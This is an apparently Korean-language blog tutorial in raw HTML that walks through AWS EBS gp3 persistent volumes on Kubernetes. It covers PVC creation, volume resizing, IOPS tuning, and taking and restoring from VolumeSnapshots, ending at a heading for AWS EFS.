&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AWS EBS 스토리지 클래스 파라미터를 사용하여 gp3를 사용하는 PVC와 파드를 생성하여 EBS가 파드에 잘 부착되는지 확인합니다.&lt;/p&gt;
&lt;figure id=&quot;og_1710764254738&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;스토리지 클래스&quot; data-og-description=&quot;이 문서는 쿠버네티스의 스토리지클래스의 개념을 설명한다. 볼륨과 퍼시스턴트 볼륨에 익숙해지는 것을 권장한다. 소개 스토리지클래스는 관리자가 제공하는 스토리지의 &amp;quot;classes&amp;quot;를 설명할 수 &quot; data-og-host=&quot;kubernetes.io&quot; data-og-source-url=&quot;https://kubernetes.io/ko/docs/concepts/storage/storage-classes/#aws-ebs&quot; data-og-url=&quot;https://kubernetes.io/ko/docs/concepts/storage/storage-classes/&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/bO5J4y/hyVAzsdeCP/tQoFYe4Sdqyg0iE0qd7mc0/img.png?width=1727&amp;amp;height=373&amp;amp;face=0_0_1727_373,https://scrap.kakaocdn.net/dn/Cymq1/hyVAEAgTcp/MMeYtTRaBKr4F8ORfrsKHK/img.png?width=512&amp;amp;height=512&amp;amp;face=0_0_512_512&quot;&gt;&lt;a href=&quot;https://kubernetes.io/ko/docs/concepts/storage/storage-classes/#aws-ebs&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://kubernetes.io/ko/docs/concepts/storage/storage-classes/#aws-ebs&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/bO5J4y/hyVAzsdeCP/tQoFYe4Sdqyg0iE0qd7mc0/img.png?width=1727&amp;amp;height=373&amp;amp;face=0_0_1727_373,https://scrap.kakaocdn.net/dn/Cymq1/hyVAEAgTcp/MMeYtTRaBKr4F8ORfrsKHK/img.png?width=512&amp;amp;height=512&amp;amp;face=0_0_512_512');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;스토리지 클래스&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;이 문서는 쿠버네티스의 스토리지클래스의 개념을 설명한다. 볼륨과 퍼시스턴트 볼륨에 익숙해지는 것을 권장한다. 소개 스토리지클래스는 관리자가 제공하는 스토리지의 &quot;classes&quot;를 설명할 수&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;kubernetes.io&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;pre id=&quot;code_1710764381628&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# PVC 생성
cat &amp;lt;&amp;lt;EOT &amp;gt; awsebs-pvc.yaml
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: ebs-claim
spec:
  accessModes:
    - ReadWriteOnce
  resources:
    requests:
      storage: 4Gi
  storageClassName: gp3
EOT
kubectl apply -f awsebs-pvc.yaml
kubectl get pvc,pv

# 파드 생성
cat &amp;lt;&amp;lt;EOT &amp;gt; awsebs-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: app
spec:
  terminationGracePeriodSeconds: 3
  containers:
  - name: app
    image: centos
    command: [&quot;/bin/sh&quot;]
    args: [&quot;-c&quot;, &quot;while true; do echo \$(date -u) &amp;gt;&amp;gt; /data/out.txt; sleep 5; done&quot;]
    volumeMounts:
    - name: persistent-storage
      mountPath: /data
  volumes:
  - name: persistent-storage
    persistentVolumeClaim:
      claimName: ebs-claim
EOT
kubectl apply -f awsebs-pod.yaml

# PVC, 파드 확인
kubectl get pvc,pv,pod
kubectl get VolumeAttachment&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Screenshot 2024-03-18 at 9.25.10 PM.png&quot; data-origin-width=&quot;3200&quot; data-origin-height=&quot;470&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ojbWn/btsFUFU8vy1/rnUjzJJPpijeO0atUTkVEk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ojbWn/btsFUFU8vy1/rnUjzJJPpijeO0atUTkVEk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ojbWn/btsFUFU8vy1/rnUjzJJPpijeO0atUTkVEk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FojbWn%2FbtsFUFU8vy1%2FrnUjzJJPpijeO0atUTkVEk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;3200&quot; height=&quot;470&quot; data-filename=&quot;Screenshot 2024-03-18 at 9.25.10 PM.png&quot; data-origin-width=&quot;3200&quot; data-origin-height=&quot;470&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PVC와 파드의 배포를 통해 프로비저닝된 PV의 상세내용을 확인하면 nodeAffinity에 파드와 같은 AZ가 설정된 것을 확인할 수 있습니다. AWS EBS는 연결된 파드와 같은 AZ에 배포되어야 하는 특성이 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1710823998207&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 추가된 EBS 볼륨 상세 정보 확인 
aws ec2 describe-volumes --volume-ids $(kubectl get pv -o jsonpath=&quot;{.items[0].spec.csi.volumeHandle}&quot;) | jq

# PV 상세 확인 : nodeAffinity 내용의 의미는?
kubectl get pv -o yaml | yh&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-03-19 오후 1.51.37.png&quot; data-origin-width=&quot;765&quot; data-origin-height=&quot;1020&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/3ovzH/btsFR8K6H0J/OWCTAKEZ1Rn7NymEZmZPN1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/3ovzH/btsFR8K6H0J/OWCTAKEZ1Rn7NymEZmZPN1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/3ovzH/btsFR8K6H0J/OWCTAKEZ1Rn7NymEZmZPN1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F3ovzH%2FbtsFR8K6H0J%2FOWCTAKEZ1Rn7NymEZmZPN1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;765&quot; height=&quot;1020&quot; data-filename=&quot;스크린샷 2024-03-19 오후 1.51.37.png&quot; data-origin-width=&quot;765&quot; data-origin-height=&quot;1020&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;krew 플러그인 중 df-pv를 통해 PV의 정보를 편리하게 볼 수 있도록 제공합니다. 현재 파드에 부착된 볼륨을 얼만큼 사용중인지 한 눈에 파악할 수 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1710765033368&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;kubectl df-pv&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Screenshot 2024-03-18 at 9.29.14 PM.png&quot; data-origin-width=&quot;3180&quot; data-origin-height=&quot;166&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oJrRO/btsFQVSL8le/R5VtLaBZ1grE6yg55WFh30/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oJrRO/btsFQVSL8le/R5VtLaBZ1grE6yg55WFh30/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oJrRO/btsFQVSL8le/R5VtLaBZ1grE6yg55WFh30/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoJrRO%2FbtsFQVSL8le%2FR5VtLaBZ1grE6yg55WFh30%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;3180&quot; height=&quot;166&quot; data-filename=&quot;Screenshot 2024-03-18 at 9.29.14 PM.png&quot; data-origin-width=&quot;3180&quot; data-origin-height=&quot;166&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;온프레미스에서는 사용 중인 볼륨의 사이즈를 변경하는 것이 불가능하지만 AWS EBS는 사용 중인 볼륨의 크기를 증가시킬 수 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1710765209808&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 현재 pv 의 이름을 기준하여 4G &amp;gt; 10G 로 증가 : .spec.resources.requests.storage의 4Gi 를 10Gi로 변경
kubectl patch pvc ebs-claim -p '{&quot;spec&quot;:{&quot;resources&quot;:{&quot;requests&quot;:{&quot;storage&quot;:&quot;10Gi&quot;}}}}'

# 확인 : 볼륨 용량 수정 반영이 되어야 되니, 수치 반영이 조금 느릴수 있다
kubectl exec -it app -- sh -c 'df -hT --type=xfs'&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Screenshot 2024-03-18 at 9.31.52 PM.png&quot; data-origin-width=&quot;2634&quot; data-origin-height=&quot;1254&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ckqkv9/btsFUj5S2FD/VUauZYyU6Bl4EtwAKlpay0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ckqkv9/btsFUj5S2FD/VUauZYyU6Bl4EtwAKlpay0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ckqkv9/btsFUj5S2FD/VUauZYyU6Bl4EtwAKlpay0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fckqkv9%2FbtsFUj5S2FD%2FVUauZYyU6Bl4EtwAKlpay0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2634&quot; height=&quot;1254&quot; data-filename=&quot;Screenshot 2024-03-18 at 9.31.52 PM.png&quot; data-origin-width=&quot;2634&quot; data-origin-height=&quot;1254&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Screenshot 2024-03-18 at 9.34.32 PM.png&quot; data-origin-width=&quot;1556&quot; data-origin-height=&quot;178&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/HiH0E/btsFUjY61gf/P3LY736RwMRGcBRgqVfWXK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/HiH0E/btsFUjY61gf/P3LY736RwMRGcBRgqVfWXK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/HiH0E/btsFUjY61gf/P3LY736RwMRGcBRgqVfWXK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHiH0E%2FbtsFUjY61gf%2FP3LY736RwMRGcBRgqVfWXK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1556&quot; height=&quot;178&quot; data-filename=&quot;Screenshot 2024-03-18 at 9.34.32 PM.png&quot; data-origin-width=&quot;1556&quot; data-origin-height=&quot;178&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;IOPS를 증가시키는 것 또한 가능합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1710765411298&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;kubectl annotate pvc ebs-claim ebs.csi.aws.com/iops=5000
kubectl get pvc ebs-claim -o yaml | kubectl neat | yh&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Screenshot 2024-03-18 at 9.36.07 PM.png&quot; data-origin-width=&quot;1676&quot; data-origin-height=&quot;830&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/UIg0T/btsFR3bEXuA/hNcUEfwsaRrFrUobOTbzUK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/UIg0T/btsFR3bEXuA/hNcUEfwsaRrFrUobOTbzUK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/UIg0T/btsFR3bEXuA/hNcUEfwsaRrFrUobOTbzUK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUIg0T%2FbtsFR3bEXuA%2FhNcUEfwsaRrFrUobOTbzUK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1676&quot; height=&quot;830&quot; data-filename=&quot;Screenshot 2024-03-18 at 9.36.07 PM.png&quot; data-origin-width=&quot;1676&quot; data-origin-height=&quot;830&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;AWS Volume SnapShots Controller&lt;/h4&gt;
&lt;pre id=&quot;code_1710765512370&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# (참고) EBS CSI Driver에 snapshots 기능 포함 될 것으로 보임
kubectl describe pod -n kube-system -l app=ebs-csi-controller

# Install Snapshot CRDs
curl -s -O https://raw.githubusercontent.com/kubernetes-csi/external-snapshotter/master/client/config/crd/snapshot.storage.k8s.io_volumesnapshots.yaml
curl -s -O https://raw.githubusercontent.com/kubernetes-csi/external-snapshotter/master/client/config/crd/snapshot.storage.k8s.io_volumesnapshotclasses.yaml
curl -s -O https://raw.githubusercontent.com/kubernetes-csi/external-snapshotter/master/client/config/crd/snapshot.storage.k8s.io_volumesnapshotcontents.yaml
kubectl apply -f snapshot.storage.k8s.io_volumesnapshots.yaml,snapshot.storage.k8s.io_volumesnapshotclasses.yaml,snapshot.storage.k8s.io_volumesnapshotcontents.yaml
kubectl get crd | grep snapshot
kubectl api-resources  | grep snapshot

# Install Common Snapshot Controller
curl -s -O https://raw.githubusercontent.com/kubernetes-csi/external-snapshotter/master/deploy/kubernetes/snapshot-controller/rbac-snapshot-controller.yaml
curl -s -O https://raw.githubusercontent.com/kubernetes-csi/external-snapshotter/master/deploy/kubernetes/snapshot-controller/setup-snapshot-controller.yaml
kubectl apply -f rbac-snapshot-controller.yaml,setup-snapshot-controller.yaml
kubectl get deploy -n kube-system snapshot-controller
kubectl get pod -n kube-system -l app=snapshot-controller

# Install Snapshotclass
curl -s -O https://raw.githubusercontent.com/kubernetes-sigs/aws-ebs-csi-driver/master/examples/kubernetes/snapshot/manifests/classes/snapshotclass.yaml
kubectl apply -f snapshotclass.yaml
kubectl get vsclass # 혹은 volumesnapshotclasses&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;테스트 파드와 PVC를 생성해봅니다.&lt;/p&gt;
&lt;pre id=&quot;code_1710814826336&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# PVC 생성
kubectl apply -f awsebs-pvc.yaml

# 파드 생성
kubectl apply -f awsebs-pod.yaml

# 파일 내용 추가 저장 확인
kubectl exec app -- tail -f /data/out.txt

# VolumeSnapshot 생성 : Create a VolumeSnapshot referencing the PersistentVolumeClaim name &amp;gt;&amp;gt; EBS 스냅샷 확인
curl -s -O https://raw.githubusercontent.com/gasida/PKOS/main/3/ebs-volume-snapshot.yaml
cat ebs-volume-snapshot.yaml | yh
kubectl apply -f ebs-volume-snapshot.yaml&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-03-19 오전 11.19.33.png&quot; data-origin-width=&quot;651&quot; data-origin-height=&quot;181&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bEBWoM/btsFRlqrWqf/Gx5A311hA6ynvLwpH3C49k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bEBWoM/btsFRlqrWqf/Gx5A311hA6ynvLwpH3C49k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bEBWoM/btsFRlqrWqf/Gx5A311hA6ynvLwpH3C49k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbEBWoM%2FbtsFRlqrWqf%2FGx5A311hA6ynvLwpH3C49k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;651&quot; height=&quot;181&quot; data-filename=&quot;스크린샷 2024-03-19 오전 11.19.33.png&quot; data-origin-width=&quot;651&quot; data-origin-height=&quot;181&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;생성된 볼륨 스냅샷을 터미널과 콘솔에서 모두 확인할 수 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1710814908175&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# VolumeSnapshot 확인
kubectl get volumesnapshot
kubectl get volumesnapshot ebs-volume-snapshot -o jsonpath={.status.boundVolumeSnapshotContentName} ; echo
kubectl describe volumesnapshot.snapshot.storage.k8s.io ebs-volume-snapshot
kubectl get volumesnapshotcontents

# VolumeSnapshot ID 확인 
kubectl get volumesnapshotcontents -o jsonpath='{.items[*].status.snapshotHandle}' ; echo&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-03-19 오전 11.21.16.png&quot; data-origin-width=&quot;1393&quot; data-origin-height=&quot;84&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c1Or0u/btsFS0MCoEU/wOQCeK1ob4wwq3bGXtLbsk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c1Or0u/btsFS0MCoEU/wOQCeK1ob4wwq3bGXtLbsk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c1Or0u/btsFS0MCoEU/wOQCeK1ob4wwq3bGXtLbsk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc1Or0u%2FbtsFS0MCoEU%2FwOQCeK1ob4wwq3bGXtLbsk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1393&quot; height=&quot;84&quot; data-filename=&quot;스크린샷 2024-03-19 오전 11.21.16.png&quot; data-origin-width=&quot;1393&quot; data-origin-height=&quot;84&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-03-19 오전 11.19.19.png&quot; data-origin-width=&quot;2161&quot; data-origin-height=&quot;147&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ovflQ/btsFTfbOrYe/ui5N94HVmL7MT4pKyj6PT1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ovflQ/btsFTfbOrYe/ui5N94HVmL7MT4pKyj6PT1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ovflQ/btsFTfbOrYe/ui5N94HVmL7MT4pKyj6PT1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FovflQ%2FbtsFTfbOrYe%2Fui5N94HVmL7MT4pKyj6PT1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2161&quot; height=&quot;147&quot; data-filename=&quot;스크린샷 2024-03-19 오전 11.19.19.png&quot; data-origin-width=&quot;2161&quot; data-origin-height=&quot;147&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;강제로 장애를 발생시켜 스냅샷으로 복원시켜 보겠습니다. 파드와 PVC는 지워져도 방금 전 생성한 스냅샷은 남아있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1710814916538&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# app &amp;amp; pvc 제거 : 강제로 장애 재현
kubectl delete pod app &amp;amp;&amp;amp; kubectl delete pvc ebs-claim&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-03-19 오후 2.08.57.png&quot; data-origin-width=&quot;1906&quot; data-origin-height=&quot;157&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cQILrK/btsFUZfjbA2/yA3KNRevhhhHpd7jwhsgzk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cQILrK/btsFUZfjbA2/yA3KNRevhhhHpd7jwhsgzk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cQILrK/btsFUZfjbA2/yA3KNRevhhhHpd7jwhsgzk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcQILrK%2FbtsFUZfjbA2%2FyA3KNRevhhhHpd7jwhsgzk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1906&quot; height=&quot;157&quot; data-filename=&quot;스크린샷 2024-03-19 오후 2.08.57.png&quot; data-origin-width=&quot;1906&quot; data-origin-height=&quot;157&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스냅샷을 이용해 PVC를 생성하고 이를 사용하는 파드를 다시 생성합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1710815097155&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 스냅샷에서 PVC 로 복원
cat &amp;lt;&amp;lt;EOT &amp;gt; ebs-snapshot-restored-claim.yaml
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: ebs-snapshot-restored-claim
spec:
  storageClassName: gp3
  accessModes:
    - ReadWriteOnce
  resources:
    requests:
      storage: 4Gi
  dataSource:
    name: ebs-volume-snapshot
    kind: VolumeSnapshot
    apiGroup: snapshot.storage.k8s.io
EOT
cat ebs-snapshot-restored-claim.yaml | yh
kubectl apply -f ebs-snapshot-restored-claim.yaml

# 확인
kubectl get pvc,pv

# 파드 생성
curl -s -O https://raw.githubusercontent.com/gasida/PKOS/main/3/ebs-snapshot-restored-pod.yaml
cat ebs-snapshot-restored-pod.yaml | yh
kubectl apply -f ebs-snapshot-restored-pod.yaml&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일 내용을 확인해보면 스냅샷에 저장되어 있던 이전 파드의 내용과 이후 파드 내용이 함께 출력되는 것을 확인할 수 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1710815284315&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 파일 내용 저장 확인 : 파드 삭제 전까지의 저장 기록이 남아 있다. 이후 파드 재생성 후 기록도 잘 저장되고 있다
kubectl exec app -- cat /data/out.txt&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-03-19 오후 2.11.03.png&quot; data-origin-width=&quot;713&quot; data-origin-height=&quot;743&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bnqW5w/btsFTdyFCAK/nGKSu3pwun1q6XxJMa0KK0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bnqW5w/btsFTdyFCAK/nGKSu3pwun1q6XxJMa0KK0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bnqW5w/btsFTdyFCAK/nGKSu3pwun1q6XxJMa0KK0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbnqW5w%2FbtsFTdyFCAK%2FnGKSu3pwun1q6XxJMa0KK0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;713&quot; height=&quot;743&quot; data-filename=&quot;스크린샷 2024-03-19 오후 2.11.03.png&quot; data-origin-width=&quot;713&quot; data-origin-height=&quot;743&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #24292f; text-align: left;&quot;&gt;AWS EFS&lt;/span&gt;&lt;/h4&gt;
